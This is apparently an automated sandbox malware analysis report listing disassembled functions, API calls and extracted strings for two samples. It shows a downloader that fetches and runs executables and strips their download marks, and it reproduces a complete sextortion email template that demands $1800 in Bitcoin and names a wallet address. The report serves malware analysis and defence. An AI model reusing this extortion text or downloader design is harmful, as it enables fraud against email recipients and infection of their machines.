Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCR90 ref: 002A107F
memcpy.MSVCR90 ref: 002A1093
CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 002A10B7
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 002A10DD
CryptDestroyKey.ADVAPI32(00000000), ref: 002A10F0

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: Crypt$memcpy$DestroyEncryptImport
String ID:
API String ID: 774555595-0
Opcode ID: 1ef24f869eef4b7dfb0a0d3a08e633a19e5fd87963f76f2aa961d6dd3984ee98
Instruction ID: 22cede6cbe7557abd33e419a427013106f543898051fa9f35dc9221fa4aa558b
Opcode Fuzzy Hash: 1ef24f869eef4b7dfb0a0d3a08e633a19e5fd87963f76f2aa961d6dd3984ee98
Instruction Fuzzy Hash: 543138B1D10249EFDB00CFE8C845BEEBBB4AF4D310F008159EA05B7280DB759A54CBA5

Function 002A1740 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 002A174E
GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A), ref: 002A1763
strcmp.MSVCR90 ref: 002A1772

Strings

UKR, xrefs: 002A1769

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: InfoLocalememsetstrcmp
String ID: UKR
API String ID: 3255129521-64918367
Opcode ID: 353606852dfe747a7c70056c88ef22ad2b0ea14e60d4f55027bb1e61c9fde1b1
Instruction ID: a308b455ed623421198001be98923305b233d328156d793f07b621c1a021e613
Opcode Fuzzy Hash: 353606852dfe747a7c70056c88ef22ad2b0ea14e60d4f55027bb1e61c9fde1b1
Instruction Fuzzy Hash: 53E09276E6430877DA00A6A09C07FAA73285713B11F000150BA04560C1FEA1673886D2

Function 002A1320 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 229
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 002A1329
srand.MSVCR90 ref: 002A1330
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 002A1350
strlen.MSVCR90 ref: 002A135A
mbstowcs.MSVCR90 ref: 002A1371
rand.MSVCR90 ref: 002A1379
rand.MSVCR90 ref: 002A138D
wsprintfW.USER32 ref: 002A13B4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 002A13CA
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 002A13F9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 002A1428
memset.MSVCR90 ref: 002A144F
InternetReadFile.WININET(00000000,?,00000207,?), ref: 002A1471
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 002A14A2
CloseHandle.KERNEL32(000000FF), ref: 002A14B1
Sleep.KERNEL32(000003E8), ref: 002A14BC
wsprintfW.USER32 ref: 002A14D5
DeleteFileW.KERNEL32(?), ref: 002A14E5
Sleep.KERNEL32(000003E8), ref: 002A14F0
Sleep.KERNEL32(000003E8), ref: 002A1511
DeleteFileW.KERNEL32(?), ref: 002A153E
CloseHandle.KERNEL32(000000FF), ref: 002A154B
InternetCloseHandle.WININET(00000000), ref: 002A1558
InternetCloseHandle.WININET(00000000), ref: 002A1565
Sleep.KERNEL32(000003E8), ref: 002A1570
rand.MSVCR90 ref: 002A1585
Sleep.KERNEL32 ref: 002A159C
rand.MSVCR90 ref: 002A15A2
rand.MSVCR90 ref: 002A15B6
wsprintfW.USER32 ref: 002A15D7
DeleteUrlCacheEntryW.WININET(?), ref: 002A15E7
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 002A1601
wsprintfW.USER32 ref: 002A161D
DeleteFileW.KERNEL32(?), ref: 002A162D
Sleep.KERNEL32(000003E8), ref: 002A1638
Sleep.KERNEL32(000003E8), ref: 002A1659
DeleteFileW.KERNEL32(?), ref: 002A1677

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 002A13C5
%s\%d%d.exe, xrefs: 002A13A8
%ls:Zone.Identifier, xrefs: 002A14C9
%temp%, xrefs: 002A134B
%ls:Zone.Identifier, xrefs: 002A1611
%s\%d%d.exe, xrefs: 002A15CB

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$Open$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcsmemsetsrandstrlen
String ID: %ls:Zone.Identifier$%ls:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 789862300-1471993759
Opcode ID: 7d05e475dce258b49ca6c0cd919414dd10db237fc49807f663e7fc01f28aef13
Instruction ID: f14b94b1027457e26a101ffc23f073e0591c59580323e0f8cfa20e1de0a05ead
Opcode Fuzzy Hash: 7d05e475dce258b49ca6c0cd919414dd10db237fc49807f663e7fc01f28aef13
Instruction Fuzzy Hash: BD81D7B5D10314ABD720DB64EC4EFE97379AB8A700F048498F70A921C1DEB59BA4CF61

Function 002A1690 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 002A169E
memset.MSVCR90 ref: 002A16AE
CreateProcessW.KERNEL32(00000000,002A166B,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 002A16E7
Sleep.KERNEL32(000003E8), ref: 002A16F7
ShellExecuteW.SHELL32(00000000,open,002A166B,00000000,00000000,00000000), ref: 002A1712
Sleep.KERNEL32(000003E8), ref: 002A172C

Strings

open, xrefs: 002A170B
D, xrefs: 002A16B6
, xrefs: 002A1721

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 16483613048dec63692fb9cc685c317d4729d4579adc52139a4ba64559844fb6
Instruction ID: 45ecbecd0f3fd9295d8ade28c10d56813c75756ecbeadf73979afcdc8716a544
Opcode Fuzzy Hash: 16483613048dec63692fb9cc685c317d4729d4579adc52139a4ba64559844fb6
Instruction Fuzzy Hash: AD112175A90308BBEB10DF90DD4AF9DB778AB16B11F204115FA096F2C0DBB1AA148B65

Function 002A1790 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 002A17A7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 002A17C6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 002A17EF
InternetCloseHandle.WININET(00000000), ref: 002A1818
InternetCloseHandle.WININET(00000000), ref: 002A1822
Sleep.KERNEL32(000003E8), ref: 002A182D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 002A17A2

Memory Dump Source

Source File: 00000009.00000002.1846603424.00000000002A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000009.00000002.1846589371.00000000002A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846619040.00000000002A3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.1846673406.00000000002A6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_2a0000_winploravr.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 2743515581-173034443
Opcode ID: dd08256abb87a38a1370cae91ac6d218b0de16c8d5fac229e77477a31ddbf496
Instruction ID: 8572b958d8859f3caa8a2f87886d042604509b31cf541c7cd445d655d2942110
Opcode Fuzzy Hash: dd08256abb87a38a1370cae91ac6d218b0de16c8d5fac229e77477a31ddbf496
Instruction Fuzzy Hash: EC210A75E40208FFEB10DFA4DC49F9EB7B5AB09705F108498FA15AB2C0CBB56A14CB61

Analysis Process: 2006625995.exePID: 3628, Parent PID: 5588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00D72720 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 68
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00D7272E
CreateMutexA.KERNELBASE(00000000,00000000,4463464*), ref: 00D7273D
GetLastError.KERNEL32 ref: 00D72749
ExitProcess.KERNEL32 ref: 00D72758
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00D72776
wsprintfW.USER32 ref: 00D7278F
DeleteFileW.KERNELBASE(?), ref: 00D7279F
WSAStartup.WS2_32(00000202,?), ref: 00D727B1
ExitProcess.KERNEL32 ref: 00D727C5

Strings

4463464*, xrefs: 00D72734
%s:Zone.Identifier, xrefs: 00D72783

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: ExitFileProcess$CreateDeleteErrorLastModuleMutexNameSleepStartupwsprintf
String ID: %s:Zone.Identifier$4463464*
API String ID: 3138769648-2805003198
Opcode ID: 53df50657f0e002e8b0dea3b35a54845ce2534f6b801dbe9665ae803fcf2d7db
Instruction ID: 210940c09b7c4dd08c64f15eb83cdc5dd3e722589298b2a955ba8662ce84c9d4
Opcode Fuzzy Hash: 53df50657f0e002e8b0dea3b35a54845ce2534f6b801dbe9665ae803fcf2d7db
Instruction Fuzzy Hash: E4218071A40318ABE7215BA0DC0EFA97739EB14B02F408054FB0DE52D1FBB059C88E71

Function 00D71760 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DnsQuery_A.DNSAPI(yahoo.com,0000000F,00000000,00000000,00000000,00000000), ref: 00D7177E
DnsFree.DNSAPI(00000000,00000001), ref: 00D717AC
closesocket.WS2_32(00000000), ref: 00D717B5
DnsFree.DNSAPI(00000000,00000001), ref: 00D717C5

Strings

yahoo.com, xrefs: 00D71779

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: Free$Query_closesocket
String ID: yahoo.com
API String ID: 1946217314-667638125
Opcode ID: dd0ec95c6355247bd530b173eede6df7573a2c5c5fa60f895911a490ae20bf03
Instruction ID: 2f484909901752c65e2b7dc7482c558af32d5924a8b4a66a8f5a521a5a116bae
Opcode Fuzzy Hash: dd0ec95c6355247bd530b173eede6df7573a2c5c5fa60f895911a490ae20bf03
Instruction Fuzzy Hash: F9011279E40308FBDB10EFE4D946B9D7778AB44704F20C199E6046B281E7769A45EB70

Function 00D716E0 Relevance: 4.5, APIs: 3, Instructions: 43
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D71440: inet_addr.WS2_32(00D710D9), ref: 00D7144A
Part of subcall function 00D71440: gethostbyname.WS2_32(?), ref: 00D7145D

htons.WS2_32(?), ref: 00D71714
socket.WS2_32(00000002,00000001,00000006), ref: 00D71724

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: gethostbynamehtonsinet_addrsocket
String ID:
API String ID: 230923099-0
Opcode ID: cda45da48dcbf4e36c5c405dc04883787ffe7fe767adb51bb6535c10018e3224
Instruction ID: 258a6a5469329147987c577d9317b155a471a68a331859ae94cf30ed14cad416
Opcode Fuzzy Hash: cda45da48dcbf4e36c5c405dc04883787ffe7fe767adb51bb6535c10018e3224
Instruction Fuzzy Hash: 56017178D00308EBCB14DBB8D84AABD7B75AF14334F608355F929A72D0F7708A8197A1

Function 00D71440 Relevance: 3.0, APIs: 2, Instructions: 26
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

inet_addr.WS2_32(00D710D9), ref: 00D7144A
gethostbyname.WS2_32(?), ref: 00D7145D

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: gethostbynameinet_addr
String ID:
API String ID: 1594361348-0
Opcode ID: a5664c391f6302b378dca007edf067b6ea1960b4c15510aa6751012ae3eb3c8f
Instruction ID: 3bb3765b20d07d84f931cfd16b8379c68c787e43f14ac85f51957176909d3f9c
Opcode Fuzzy Hash: a5664c391f6302b378dca007edf067b6ea1960b4c15510aa6751012ae3eb3c8f
Instruction Fuzzy Hash: 1AF09E78900308EFCB10DFB4D54499DBBB5EB59315F60C795DD5997350E7309A80DB90

Non-executed Functions

Function 00D71490 Relevance: 47.4, APIs: 6, Strings: 21, Instructions: 156
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLocalTime.KERNEL32(?), ref: 00D71528
FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00D7153B
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D7154C
GetTimeZoneInformation.KERNEL32(00000000), ref: 00D71563
wsprintfA.USER32 ref: 00D7164E
wsprintfA.USER32 ref: 00D716C8

Strings

Mon, xrefs: 00D714A0
%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00D71645
%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u, xrefs: 00D716BF
Feb, xrefs: 00D714D1
Oct, xrefs: 00D71509
Nov, xrefs: 00D71510, 00D7164D, 00D716C7
Sun, xrefs: 00D71499, 00D716BE
Mar, xrefs: 00D714D8
Sat, xrefs: 00D714C3, 00D7163F, 00D716B0
Sep, xrefs: 00D71502
Apr, xrefs: 00D714DF
Aug, xrefs: 00D714FB
Wed, xrefs: 00D714AE
Fri, xrefs: 00D714BC
Thu, xrefs: 00D714B5
Jun, xrefs: 00D714ED
Dec, xrefs: 00D71517
Tue, xrefs: 00D714A7
Jan, xrefs: 00D714CA
May, xrefs: 00D714E6
Jul, xrefs: 00D714F4

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: Time$File$Localwsprintf$InformationSystemZone
String ID: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$%u %s %u %.2u:%.2u:%.2u %s%.2u%.2u$Apr$Aug$Dec$Feb$Fri$Jan$Jul$Jun$Mar$May$Mon$Nov$Oct$Sat$Sep$Sun$Thu$Tue$Wed
API String ID: 1439763326-1766317088
Opcode ID: 13b3e85dde54326ccc04ac7d1772e64c60eae4e8b429a760e254f9c104042fd0
Instruction ID: 8f4613da2e142642a24ef9086d414da86282202c10973488b6d2fd83c52c68c8
Opcode Fuzzy Hash: 13b3e85dde54326ccc04ac7d1772e64c60eae4e8b429a760e254f9c104042fd0
Instruction Fuzzy Hash: F161D4B4900258DBCB15CFC9D844AEEBBB9BF88305F508149E549AB254E7788A94CB74

Function 00D717D0 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 71
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 00D717E3
InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 00D71807
InternetReadFile.WININET(00000000,?,00000063,?), ref: 00D71824

Part of subcall function 00D718B0: strstr.MSVCR90 ref: 00D718BB

wsprintfA.USER32 ref: 00D71860
wsprintfA.USER32 ref: 00D71875
InternetCloseHandle.WININET(00000000), ref: 00D71882
wsprintfA.USER32 ref: 00D71894
InternetCloseHandle.WININET(?), ref: 00D718A1

Strings

http://icanhazip.com/, xrefs: 00D717FE
[0.0.0.0], xrefs: 00D7188A
[0.0.0.0], xrefs: 00D7186B
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36, xrefs: 00D717DE
[%s], xrefs: 00D71856

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$http://icanhazip.com/
API String ID: 2936383407-4046155809
Opcode ID: 6393a6612f17b26e5013ce7fad83e4e1063b8735c0cf9de21c461a2b96a7ba0a
Instruction ID: 5490b44259465630daea361d3468a352239e9c9993f2d9c95b807c0b5654e260
Opcode Fuzzy Hash: 6393a6612f17b26e5013ce7fad83e4e1063b8735c0cf9de21c461a2b96a7ba0a
Instruction Fuzzy Hash: D6214175A80304ABD711ABF8DC0AF9D7B34AB14B05F648618F90DA7281F7709548CB75

Function 00D71CAB Relevance: 143.9, APIs: 44, Strings: 38, Instructions: 442
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D71320: GetTickCount.KERNEL32 ref: 00D7132A
Part of subcall function 00D71320: srand.MSVCR90 ref: 00D71331
Part of subcall function 00D71320: rand.MSVCR90 ref: 00D71353
Part of subcall function 00D71320: sprintf.MSVCR90 ref: 00D7136E

wsprintfA.USER32 ref: 00D71CC9

Part of subcall function 00D71490: GetLocalTime.KERNEL32(?), ref: 00D71528
Part of subcall function 00D71490: GetTimeZoneInformation.KERNEL32(00000000), ref: 00D71563
Part of subcall function 00D71490: wsprintfA.USER32 ref: 00D7164E

Sleep.KERNEL32(000007D0), ref: 00D71CEA

Part of subcall function 00D71490: FileTimeToLocalFileTime.KERNEL32(00000000,?), ref: 00D7153B
Part of subcall function 00D71490: FileTimeToSystemTime.KERNEL32(?,?), ref: 00D7154C

rand.MSVCR90 ref: 00D71D11
rand.MSVCR90 ref: 00D71D22
rand.MSVCR90 ref: 00D71D33
rand.MSVCR90 ref: 00D71D44

Part of subcall function 00D71390: rand.MSVCR90 ref: 00D713A0
Part of subcall function 00D71390: rand.MSVCR90 ref: 00D713CD

wsprintfA.USER32 ref: 00D71D73

Part of subcall function 00D71120: lstrlenA.KERNEL32(?), ref: 00D7112D
Part of subcall function 00D71120: send.WS2_32(?,?,000000FF,00000000), ref: 00D71144

wsprintfA.USER32 ref: 00D71DE3
shutdown.WS2_32(000000FF,00000002), ref: 00D722C3
closesocket.WS2_32(000000FF), ref: 00D722CD

Strings

After that I removed my malware to not leave any traces., xrefs: 00D720B0
https://nexo.com/buy-crypto/bitcoin-btc, xrefs: 00D72177
Mime-Version: 1.0, xrefs: 00D71FB6
Unfortunately, there are some bad news for you., xrefs: 00D72024
My Bitcoin (BTC) address is: 19Y9VkeeSUNgqm6qbSy6Zkpk9oHaS3eHXT, xrefs: 00D721EF
https://paybis.com/, xrefs: 00D7219F
Everything will be carried out based on fairness., xrefs: 00D7223F
After that send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine., xrefs: 00D721DB
Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE)., xrefs: 00D72203
https://cex.io/buy-bitcoins, xrefs: 00D72163
Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s, xrefs: 00D71D67
As I got access to this email account, I will know if this email has already been read., xrefs: 00D7222B
All you need is $1800 USD in Bitcoin (BTC) transfer to my account., xrefs: 00D720D8
Or simply google other exchanger., xrefs: 00D721C7
Date: %s, xrefs: 00D71EFF
My trojan allowed me to access your files, accounts and your camera., xrefs: 00D7204C
From: %s, xrefs: 00D71E20
Hello there!, xrefs: 00D72010
You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky fun., xrefs: 00D72088
Be sure, I keep my promises., xrefs: 00D7213B
You can easily buy Bitcoin (BTC) here:, xrefs: 00D7214F
Content-type: text/plain;, xrefs: 00D71FD9
Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google., xrefs: 00D72038
After the transaction is successful, I will proceed to delete everything., xrefs: 00D720EC
If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts, on social networks, the darknet and to publish all your files., xrefs: 00D720C4
https://bitpay.com/buy-bitcoin/?crypto=BTC, xrefs: 00D7218B
Received: (qmail %s invoked by uid %s); %s, xrefs: 00D71DD7
I RECORDED YOU!, xrefs: 00D71EAE
An advice from me, regularly change all your passwords to your accounts and update your device with newest security patches.., xrefs: 00D72253
To: %s, xrefs: 00D71E69
I RECORDED YOU (through your camera) SATISFYING YOURSELF!, xrefs: 00D7209C
%s.com, xrefs: 00D71CBD
Subject: %s, xrefs: 00D71EB3
You are given not more than 3 days after you have opened this email., xrefs: 00D72217
https://invity.io/buy-crypto, xrefs: 00D721B3
Check the sender of this email, I have sent it from your email account., xrefs: 00D72060
To make sure you read this email, you will receive it multiple times., xrefs: 00D72074
Message-ID: <%s.%s@%s>, xrefs: 00D71F6F

Memory Dump Source

Source File: 0000000A.00000002.2105995943.0000000000D71000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00D70000, based on PE: true

Associated: 0000000A.00000002.2105981650.0000000000D70000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106010574.0000000000D74000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106024579.0000000000D76000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000A.00000002.2106048378.0000000000D78000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d70000_2006625995.jbxd

Similarity

API ID: rand$Time$wsprintf$File$Local$CountInformationSleepSystemTickZoneclosesocketlstrlensendshutdownsprintfsrand
String ID: %s.com$After that I removed my malware to not leave any traces.$After that send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.$After the transaction is successful, I will proceed to delete everything.$All you need is $1800 USD in Bitcoin (BTC) transfer to my account.$An advice from me, regularly change all your passwords to your accounts and update your device with newest security patches..$As I got access to this email account, I will know if this email has already been read.$Be sure, I keep my promises.$Check the sender of this email, I have sent it from your email account.$Content-type: text/plain;$Date: %s$Everything will be carried out based on fairness.$From: %s$Hello there!$I RECORDED YOU (through your camera) SATISFYING YOURSELF!$I RECORDED YOU!$If you still doubt my serious intentions, it only takes couple mouse clicks to share the video of you with your friends, relatives, all email contacts, on social networks, the darknet and to publish all your files.$Message-ID: <%s.%s@%s>$Mime-Version: 1.0$My Bitcoin (BTC) address is: 19Y9VkeeSUNgqm6qbSy6Zkpk9oHaS3eHXT$My trojan allowed me to access your files, accounts and your camera.$Or simply google other exchanger.$Received: (qmail %s invoked by uid %s); %s$Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s$Some time ago your device was infected with my private trojan, R.A.T (Remote Administration Tool), if you want to find out more about it simply use Google.$Subject: %s$To make sure you read this email, you will receive it multiple times.$To: %s$Unfortunately, there are some bad news for you.$Yes, that's how the address looks like, copy and paste my address, it's (cAsE-sEnSEtiVE).$You are given not more than 3 days after you have opened this email.$You can easily buy Bitcoin (BTC) here:$You truly enjoy checking out porn websites and watching dirty videos, while having a lot of kinky 